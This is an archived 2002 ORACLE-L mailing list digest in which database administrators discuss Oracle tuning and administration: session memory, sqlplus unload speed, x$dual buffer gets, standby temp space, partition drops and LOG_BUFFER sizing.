Re: Memory?
Hello Clinton, Here is script for calculating memory requirements (shared pool requirements). Tuesday, April 23, 2002, 5:38:33 PM, you wrote: CN Hi all. CN Does anyone have any idea how to calculate the amount of memory each user CN uses during a session? CN This needs to be done to calculate the amount of memory Lawson will use CN during production. CN Any help given will be appreciated. CN Thanks CN Clint CN Confidentiality Warning CN === CN The contents of this message and any attachments are intended solely for the CN addressee's use and may be legally privileged and/or confidential. If you CN are not the addressee indicated in this message, any retention, CN distribution, copying or use of this message is strictly prohibited. If you CN received this message in error, kindly notify the sender immediately by CN reply e-mail and then destroy the message and any copies thereof. The CN content and any views expressed therein are, unless otherwise stated, the CN views of the author and not those of the company or any of its management or CN directors. CN Whilst all reasonable steps are taken to ensure the accuracy and integrity CN of information transmitted, the company does not accept responsibility for CN any corruption of the information or data or breach of confidentiality as a CN result of electronic submission. CN When addressed to the Momentum Employee Benefits clients any opinion or CN advice contained in this e-mail is subject to the terms and conditions CN expressed in any applicable terms of business. -- Best regards, Sergeymailto:[EMAIL PROTECTED] shared_p.sql Description: Binary data
Re: OT - Linux question
[EMAIL PROTECTED] http://www.linuxmanagers.org On Tuesday 23 April 2002 19:53, you wrote: Dave, feel free to send any questions my way. I'd be glad help you out. joe Farnsworth, Dave wrote: I am going to start playing with RedHat Linux on a spare PC I have at home. Does anyone know of a good user group like this one where I will be able to post(and someday answer) questions on Linux? Thanks, Dave -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: ltiu INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re:
Can't you figure this out yourself with OS system level tools such as top in Unix or NT Task Manager in NT? ltiu On Tue, 2002-04-23 at 03:43, Clinton Naude wrote: How much memory is allocated to each login to Oracle? Is it not 20-30mb? I have heard people mention of 300mb? Surely this would bring most servers down if it was true. Clint -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: ltiu INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Re: Oracle invents time machine - optimizer now faster than l
So that's how they implement flashback queries in 10i. Jonathan Lewis http://www.jlcomp.demon.co.uk Author of: Practical Oracle 8i: Building Efficient Databases Next Seminar - Australia - July/August http://www.jlcomp.demon.co.uk/seminar.html Host to The Co-Operative Oracle Users' FAQ http://www.jlcomp.demon.co.uk/faq/ind_faq.html |-Original Message- |Sent: Tuesday, April 23, 2002 11:15 AM |To: Multiple recipients of list ORACLE-L |light. | | |Jonathan, beware, I *think* that the Time Travel Option (TTO) is licensed |separately. | | |Stephane Faroult |Oriole Corporation |Performance Tools Free Scripts -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jonathan Lewis INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Is sqlplus too slow to unload data?
Bruce, SQLPlus: set pages 0; set lines 1; set termout off; set trimspool on; set trimout on; set echo off; set feedback off; set verify off; set recsep off; set arraysize 2000; PDQOut is 3rd party product I test. I also test the PL/SQL from Thomas Kyte's book. I call it from sqlplus, and the speed is only 1.5 time faster than sqlplus one. exp can achieve 500M/minute. However, I intend to change it as small as possible. I wonder if about 5M/minute is max speed for sqlplus. Regards, Bin Reardon, Bruce (CALBBAY) wrote: Bin, Have you tried setting term off in your sqlplus session - what effect does this have? I would guess that the Pro*C program also uses Net8 so the problem would be in SQLPlus. Which 3rd party product did you try? Have you tested PDQOut from http://www.oriole.com - this is written in OCI. Also, I'm sure someone will suggest using Perl. HTH, Bruce Reardon -Original Message- Sent: Wednesday, 24 April 2002 14:53 Hi, Our application uses sqlplus + sqlloader to transfer data between databases. It takes nearly four hours to unload to data to flat files(1G), which is far too slow. In the application, the query looks like the following. All those 3,4,5 are for sqlldr format. select ' ' || '4' || replace( replace ( ltrim(dealerid), '4', '4' || '4' ), CHR(10), CHR(10) || '5' ) ||'4'||'3' || ... from table_name f where eventdate = to_date(1) and eventdate = to_date(2); Firstly, there is nothing wrong with the query, since if I insert into a table it only takes less than 15 minutes. Therefore, there must be problem with either sqlplus or Networking. With sqlplus, I increase arraysize from 1 to 2000. With Networking, I put tcp.nodelay=yes on protocol.ora. Both doesn't work. I try thrid party software which is writen by Pro*C to download tables to flat file. Its speed is more than 60M/minute. I monitor v$session_event while it's running.The only different is event SQL*Net message from client. In AVERAGE_WAIT and MAX_WAIT, the different is huge. sqlplus: TOTAL_WAITS TOTAL_TIMEOUTS TIME_WAITED AVERAGE_WAIT MAX_WAIT 49 0 5998 122.4 1004 Pro*C: TOTAL_WAITS TOTAL_TIMEOUTS TIME_WAITED AVERAGE_WAIT MAX_WAIT 351 0 677 1.92 42 What's the problem sqlplus or net8? BTW, dblink doesn't work since the two databases on isolated network. emp/imp is an option. However, I just try to find out what is wrong with sqlplus one. I test 8.0.5 and 8.1.7 on solaris 2.6-2.8. Thanks in advance, Bin -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Reardon, Bruce (CALBBAY) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Bin Wang INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Standby Database-No space on Disk
Title: Standby Database-No space on Disk Hello All Oracle 8.1.7, WINNT4. On our standby Database box, we have run out of space on the partition which was holding the Temporary tablespace. Now the problem is that when ever I try to start the recovery, it gives the message that there is no space on the disk. How would I add another datafile to the temporary tablespace? Database is a standby databse with the controlfile for the standby database. Is there a simple way to add a datafile to the tablespaces on a standby database. Or should I shutdown the database, move the datafile to another partition, repartition this old-temporary partition by adding more space to it. And then copy that temporary-datafile back to this old partition and startup the database for the Standby mode. Would appreciate any prompt suggestions. Regards, Hussain Ahmed Qadri Database Administrator Shaukat Khanum Memorial Cancer Hospital Research Centre [EMAIL PROTECTED] www.shaukatkhanum.org.pk
Re: Clob indexes
It would make sense, I would expect Oracle to take a shortcut with LOB Indexes, simply hard-coding the fact that access to the LOB should always be via the LOB index. Consequently there would be no point in thinking about them You could run SQL_TRACE prior to the dbms_stats call, and see if there is a 'bitand(flag,)' line in the query that identifies indexes that excludes LOB indexes. Jonathan Lewis http://www.jlcomp.demon.co.uk Author of: Practical Oracle 8i: Building Efficient Databases Next Seminar - Australia - July/August http://www.jlcomp.demon.co.uk/seminar.html Host to The Co-Operative Oracle Users' FAQ http://www.jlcomp.demon.co.uk/faq/ind_faq.html -Original Message- To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Date: 23 April 2002 22:52 I've hit bug 1499329 As a workaround, I'm analysing the tables in the staging environment then I'm doing an exchange partition. I can analyse the tables/indexes without problem in the staging environment. My question is when creating a clob, Oracle creates a sys_...$$ indexes. When analysing the schema, those sys_...$$ indexes do not have any statistics. Is that normal ? TIA -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jonathan Lewis INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Currval and buffer gets
Problem solved but the mystery continue. I tried the describe in TOAD and got 'object x$dual not found'. The describe works in sqlplus. Yechiel Adar Mehish - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Tuesday, April 23, 2002 8:23 PM Hi Yechiel, Below is a spool file from my 8.1.7 database. I am logged in as SYS and I am able to do a DESC on X$DUAL. Wonder why it did not work on yours. SQL desc x$dual Name Null? Type - ADDR RAW(4) INDX NUMBER INST_ID NUMBER DUMMY VARCHAR2(1) SQL spool off Cheers, Gaja --- Yechiel Adar [EMAIL PROTECTED] wrote: Hello Gaja Thanks for the detailed info. I created a view and did grant to public. I did 10 selects and they did only 2 buffers get. BTW - describe on x$dual does not work but select * works. Yechiel Adar Mehish - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Monday, April 22, 2002 8:15 PM Hello Yechiel, X$DUAL is an Oracle-internal table in the SGA and will not be shown in an ALL_OBJECTS listing. Obviously, you need to be SYS to see this. You can do a describe as SYS and you will see it. Which is the reason why I recommended creating a view and a public synonym on the view, so that the application may reference it without any issues. Cheers, Gaja --- Yechiel Adar [EMAIL PROTECTED] wrote: Hello Gaja I could not find x$dual. Did select on all_objects got zip. Oracle 8.1.6.3.4 on NT. Yechiel Adar Mehish - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Sunday, April 21, 2002 8:28 PM Hi Yechiel, Any full-table-scan in Oracle 8i (or below) consumes 4 LIOs to the segment header. This number has reduced to 2 in 9i. Given that the 1 row that you are going after is in 1 data block, there is 1 LIO for the data block itself, given you a total of 5 LIOs. You can verify this by setting 10046 for the session and looking at the trace output. The workaround is to reference x$dual in your application. Alternatively, you can create a view on x$dual, create a synonym for it and then go from there. You will incur some I/O for the first access of the query (with the synonym), but subsequent accesses will incur 0 LIOs against x$dual. Cheers, Gaja --- Yechiel Adar [EMAIL PROTECTED] wrote: I did two statspack snapshots, one hour and forty minutes apart. Then I generated a report and loaded it into oraperf.com. In the report I saw that the two SQL statements that where executed the most times where: Select .currval from dual; Select .nextval from dual;. Each one was executed about 90,000 times with 5 buffer gets per execution. The net result was about 950,000 buffer get for nextval and currval. My question is: Why should there be about 5 buffer gets per execution? Yechiel Adar Mehish -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Yechiel Adar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). = Gaja Krishna Vaidyanatha Director, Storage Management Products, Quest Software, Inc. Co-author - Oracle Performance Tuning 101 http://www.osborne.com/database_erp/0072131454/0072131454.shtml __ Do You Yahoo!? Yahoo! Games - play chess, backgammon, pool and more http://games.yahoo.com/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Gaja Krishna Vaidyanatha INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists
Partitioned oracle tables
Hi all, We have two partitioned tables, T1 and T2. T1 belongs to one user and has 8 partitions, 3 users have a table called T2 with 8 partitions. We are trying to : 1) Alter tables (T1,T2) drop all partitions 2) Take tablespaces holding the partitions offline 3) Drop tablespaces 4) drop users Trouble is in step step 1 for table T2 where we get a)ora 144083: cannot drop the only partition of a partitioned table b)ora 14404: partitioned table contains partitions in a different tablespace Can anyone try and explain to me the breakdown in my steps to get rid of the partitioning ? Platform: Oracle 81700 on Tru64 Unix Thanking you, --- CSW -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Simon Waibale INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: LOG_BUFFER Parameter Question
Yep, wrong tree. size it like: redo blocks per tx * tx/sec * 3/2 *physical blocksize> Anjo. Denham Eva wrote: Hello, I have been wondering about how to work out what the optimal LOG_BUFFER parameter, compared to the physical size of the REDOLOG file, for the best optimization and writes from buffer to log. Or am I barking up the wrong tree? Is there some other way of doing this. i.e. redolog file size is 10M and LOG_BUFFER is 512000. Can this be optimized better? Denham Eva Oracle DBA In UNIX Land On a quiet Night, you can hear the Windows machines reboot. This e-mail message has been scanned for Viruses and Content and cleared by MailMarshal - For more information please visit www.marshalsoftware.com
Re: LOG_BUFFER Parameter Question
log buffer gets written a) every 3 seconds b) every commit (more or less) c) 1/3 full d) 1M full thus its unrelated to redo log file size, and in most cases unlikely that anything above 512k-1m is going to give benefits. Check for 'log buffer waits' in your statspack data. hth connor --- Denham Eva [EMAIL PROTECTED] wrote: Hello, I have been wondering about how to work out what the optimal LOG_BUFFER parameter, compared to the physical size of the REDOLOG file, for the best optimization and writes from buffer to log. Or am I barking up the wrong tree? Is there some other way of doing this. i.e. redolog file size is 10M and LOG_BUFFER is 512000. Can this be optimized better? Denham Eva Oracle DBA In UNIX Land On a quiet Night, you can hear the Windows machines reboot. # This e-mail message has been scanned for Viruses and Content and cleared by MailMarshal For more information please visit www.marshalsoftware.com # = Connor McDonald http://www.oracledba.co.uk (mirrored at http://www.oradba.freeserve.co.uk) Some days you're the pigeon, some days you're the statue __ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?Connor=20McDonald?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Currval and buffer gets
Concurrency test from 1 = 10 on Solaris 8.1.7.3
revealed no crashes - using
#!/bin/ksh
for i in 1 2 3 4 ...
do
sqlplus u/p @the_test.sql
done
hth
connor
--- Rachel Carmichael [EMAIL PROTECTED] wrote:
as simultaneously as I could make it on W2K, 9.0.1.2
(which means the
first one was running as I started the second one)
no problems. Now I ran as sys and changed it to
x$dual because I got
errors (table or view not found) when I ran as
system and used x_$dual
so I don't know if that changed the test
--- Khedr, Waleed [EMAIL PROTECTED] wrote:
Never mess up with Oracle's memory:
It seems that x$dual is not designed for
concurrent access. When I
try to
run the code below in two simultaneous windows the
first one comes
back and
the second crash (8173):
declare
nn number;
ss1 date;
ss2 date;
begin
---
ss1 := sysdate;
for i in 1..10 loop
select 2 into nn from sys.x_$dual;
end loop;
ss2 := sysdate;
dbms_output.put_line('run time using table dual in
centiseconds='||(ss2 -
ss1 ) * 24 * 60 * 60 * 100);
end;
If the x$dual gets replaced by dual it works fine.
Can any one duplicate this?
Thanks
Waleed
-Original Message-
Sent: Tuesday, April 23, 2002 6:49 PM
To: Multiple recipients of list ORACLE-L
I am writing a paper on application efficiency and
I have a number of
simple
tests in that paper that illustrates that in a
very efficient
application
the
switch to x$dual can make around a 70-80 percent
improvent. But
beaware: the
test suite only accesses x$dual and not other
tables so the impact is
large
and the application is written in the most
efficient way. Running
the same
test but in a worse efficiency case. shows only a
2-3 percent gain
..
Anjo.
Khedr, Waleed wrote:
Can you guys tell me about all the overhead to
resolve the view
definition
to reach the magical X$dual table?
Waleed
-Original Message-
Sent: Tuesday, April 23, 2002 12:58 PM
To: Multiple recipients of list ORACLE-L
Redefine the view to work on dual and pay the
price !!!
Checked it on oracle 8.1.6 and 9.0.1.
I will take the risk that maybe in some future
date this will not
work
if it can save a lot of resources now.
Yechiel Adar
Mehish
- Original Message -
To: Multiple recipients of list ORACLE-L
[EMAIL PROTECTED]
Sent: Tuesday, April 23, 2002 3:13 PM
what would you do if Oracle removed this
x$dual or made it
multiple row
table in future upgrades?
-Original Message-
To: Multiple recipients of list ORACLE-L
Sent: 4/23/02 4:08 AM
Hello Gaja
Thanks for the detailed info.
I created a view and did grant to public.
I did 10 selects and they did only 2 buffers
get.
BTW - describe on x$dual does not work but
select * works.
Yechiel Adar
Mehish
- Original Message -
To: Multiple recipients of list ORACLE-L
[EMAIL PROTECTED]
Sent: Monday, April 22, 2002 8:15 PM
Hello Yechiel,
X$DUAL is an Oracle-internal table in the
SGA and
will not be shown in an ALL_OBJECTS listing.
Obviously, you need to be SYS to see this.
You can do
a describe as SYS and you will see it. Which
is the
reason why I recommended creating a view and
a public
synonym on the view, so that the application
may
reference it without any issues.
Cheers,
Gaja
--- Yechiel Adar [EMAIL PROTECTED]
wrote:
Hello Gaja
I could not find x$dual. Did select on
all_objects
got zip.
Oracle 8.1.6.3.4 on NT.
Yechiel Adar
Mehish
- Original Message -
To: Multiple recipients of list ORACLE-L
[EMAIL PROTECTED]
Sent: Sunday, April 21, 2002 8:28 PM
Hi Yechiel,
Any full-table-scan in Oracle 8i (or
below)
consumes 4
LIOs to the segment header. This number
has
reduced to
2 in 9i. Given that the 1 row that you
are going
after
is in 1 data block, there is 1 LIO for
the data
block
itself, given you a total of 5 LIOs. You
can
verify
this by setting 10046 for the session
and looking
at
the trace output.
The workaround is to reference x$dual in
your
application. Alternatively, you can
create a view
on
x$dual, create a synonym for it and then
go from
there. You will incur some I/O for the
first
access of
the query (with the synonym), but
subsequent
accesses
will incur 0 LIOs against x$dual.
Cheers,
Gaja
--- Yechiel Adar
[EMAIL PROTECTED] wrote:
I did two statspack snapshots, one
hour and
forty
minutes apart.
Then I generated a report and loaded
Re: Partitioned oracle tables
If you want to drop ALL the partitions, then just drop the table (with the normal 'drop table xxx'). hth connor --- Simon Waibale [EMAIL PROTECTED] wrote: Hi all, We have two partitioned tables, T1 and T2. T1 belongs to one user and has 8 partitions, 3 users have a table called T2 with 8 partitions. We are trying to : 1) Alter tables (T1,T2) drop all partitions 2) Take tablespaces holding the partitions offline 3) Drop tablespaces 4) drop users Trouble is in step step 1 for table T2 where we get a)ora 144083: cannot drop the only partition of a partitioned table b)ora 14404: partitioned table contains partitions in a different tablespace Can anyone try and explain to me the breakdown in my steps to get rid of the partitioning ? Platform: Oracle 81700 on Tru64 Unix Thanking you, --- CSW -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Simon Waibale INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). = Connor McDonald http://www.oracledba.co.uk (mirrored at http://www.oradba.freeserve.co.uk) Some days you're the pigeon, some days you're the statue __ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?Connor=20McDonald?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Standby Database-No space on Disk
If you are using a tempfile for tempoary tablespace on the primary, then you don't need this at all on the standby (whilst its recovering) hth connor --- Hussain Ahmed Qadri [EMAIL PROTECTED] wrote: Hello All Oracle 8.1.7, WINNT4. On our standby Database box, we have run out of space on the partition which was holding the Temporary tablespace. Now the problem is that when ever I try to start the recovery, it gives the message that there is no space on the disk. How would I add another datafile to the temporary tablespace? Database is a standby databse with the controlfile for the standby database. Is there a simple way to add a datafile to the tablespaces on a standby database. Or should I shutdown the database, move the datafile to another partition, repartition this old-temporary partition by adding more space to it. And then copy that temporary-datafile back to this old partition and startup the database for the Standby mode. Would appreciate any prompt suggestions. Regards, Hussain Ahmed Qadri Database Administrator Shaukat Khanum Memorial Cancer Hospital Research Centre [EMAIL PROTECTED] www.shaukatkhanum.org.pk = Connor McDonald http://www.oracledba.co.uk (mirrored at http://www.oradba.freeserve.co.uk) Some days you're the pigeon, some days you're the statue __ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: =?iso-8859-1?q?Connor=20McDonald?= INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
TOAD schema browser
Hello ORACLE-L, I'm connecting to oracle using TOAD under sys account - all works well. I can select from sys' tables and views, but when I start schema browser it shows schema for another user (not sys). Is it TOAD bug? How to fix the problem? -- Best regards, Sergey mailto:[EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Sergey V Dolgov INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Design question: EFFECTIVE_?_DATE in a RATE table...
Chris, The only issue I see with the modified table is that when you wish to obtain history from your child table based on two dates, to determine which rate to apply you need to base your SQL on two records. However if you store starting and ending dates it will be easy to identify the applicable rate. HTH! Aleem -Original Message- From: Grabowy, Chris [SMTP:[EMAIL PROTECTED]] Sent: Monday, April 22, 2002 7:55 PM To: Multiple recipients of list ORACLE-L Subject: Design question: EFFECTIVE_?_DATE in a RATE table... A design question, my RATE table looks something like this SQL desc rate Name Null?Type - RATE_CODE NOT NULL CHAR(2) RATE_EFFECTIVE_START_DATE NOT NULL DATE RATE_EFFECTIVE_END_DATE NOT NULL DATE . . those are the PK fields...and the SQL to query the table is easy. I am trying to determine if I can tighten up the table, like this... SQL desc rate Name Null?Type - RATE_CODE NOT NULL CHAR(2) RATE_EFFECTIVE_DATE NOT NULL DATE I just haven't been able to code the right SQL. Has anyone else taken this approach? Sorry for these design questions, I am just being very anal about every table, PK column and index, before we dive into development and everything becomes hard coded. TIA Chris -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Grabowy, Chris INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Koivu, Lisa INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Abdul Aleem INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Drop Database Link
Hi folks! I tried following SQL SQL DROP DATABASE LINK SOFTEK.US.ORACLE.COM; DROP DATABASE LINK SOFTEK.US.ORACLE.COM * ERROR at line 1: ORA-02082: a loopback database link must have a connection qualifier Why such error is coming and how can i drop this database link? Note that while executing this SQL i was connected with the owner and this database link is private database link. Thanks in advance Atul -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Atul Kumar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Materilized view?
Hello I think that this line will cause the job to run every minute: start with sysdate next sysdate+ 1/(24*60). Change it to: start with sysdate next sysdate+ 1/(24) IMHO Yechiel Adar Mehish - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Tuesday, April 23, 2002 9:18 PM Hi 8.1.6.0 I used materialized view and used following query create materialized view vname refresh fast with primary key start with sysdate next sysdate+ 1/(24*60) as (select * from xxx.abc@test); I want to refresh materialized view every hour.Is above query correct?But i am not looking refreshment. Let me know what things i check and correct to do for refreshment. Thx -seema _ Chat with friends online, try MSN Messenger: http://messenger.msn.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Seema Singh INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Yechiel Adar INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Re: Is sqlplus too slow to unload data?
As somebody who has insider's knowledge of pdqout and a decent understanding of exp and SQL*Plus, I think that you must have a good number of numbers and dates in your data. Both types (as opposed to strings) require conversion. Which is why exp, which dumps bytes 'as is', can be so fast - there is hardly any conversion from the internal Oracle format (same thing with SELECT ... INSERT ..., which is also lighter on the I/O side). However, the conversion does occur with both SQL*Plus and Pdqout. My interpretation in the difference in waits is that, with your SQL*Plus query, there is a good deal of formatting done on the kernel side - with Pdqout, conversion is let to Oracle but there is formatting on the application side too. This may explain why Pdqout gets its results faster than SQL*Plus. SORRY IF IT LOOKS LIKE A SALES PLUG There are two other factors which probably explain the difference in speed : - Pdqout is multithreaded. While one thread waits for Oracle to return batch n, a second one is busy formatting batch n-1 (this is the thread which is heavier on CPU) while a third one is writing formatted batch n-2 to disk. Although SQL*Plus is fairly efficient and uses arrays as much as Pdqout does (even if default buffer sizes are probably different, you could try to play on this too), it does fetch and writing in sequence, and doesn't get the next batch before having written to disk - vs memory copy with Pdqout, in which threads just wait on mutexes. - Pdqout is very byte-conscious. We had benched it a long long time ago against a competitive product, it generated a 1.2G file against a 2G file with the same data - and the loading speed with SQL*Loader was in the same ratio. It doesn't put separators where they are not strictly required, uses a very compact date format, and by saving a few bytes per row it can make a huge difference on many rows. So, the writing time for SQL*Plus is probably significantly higher than with Pdqout too. /SORRY IF IT LOOKS LIKE A SALES PLUG If you regularly make at wider intervals calls which take longer to answer, a significant time difference is not too surprising. Does it make sense ? - Original Message - From: Bin Wang [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Tue, 23 Apr 2002 23:33:21 Bruce, SQLPlus: set pages 0; set lines 1; set termout off; set trimspool on; set trimout on; set echo off; set feedback off; set verify off; set recsep off; set arraysize 2000; PDQOut is 3rd party product I test. I also test the PL/SQL from Thomas Kyte's book. I call it from sqlplus, and the speed is only 1.5 time faster than sqlplus one. exp can achieve 500M/minute. However, I intend to change it as small as possible. I wonder if about 5M/minute is max speed for sqlplus. Regards, Bin Reardon, Bruce (CALBBAY) wrote: Bin, Have you tried setting term off in your sqlplus session - what effect does this have? I would guess that the Pro*C program also uses Net8 so the problem would be in SQLPlus. Which 3rd party product did you try? Have you tested PDQOut from http://www.oriole.com - this is written in OCI. 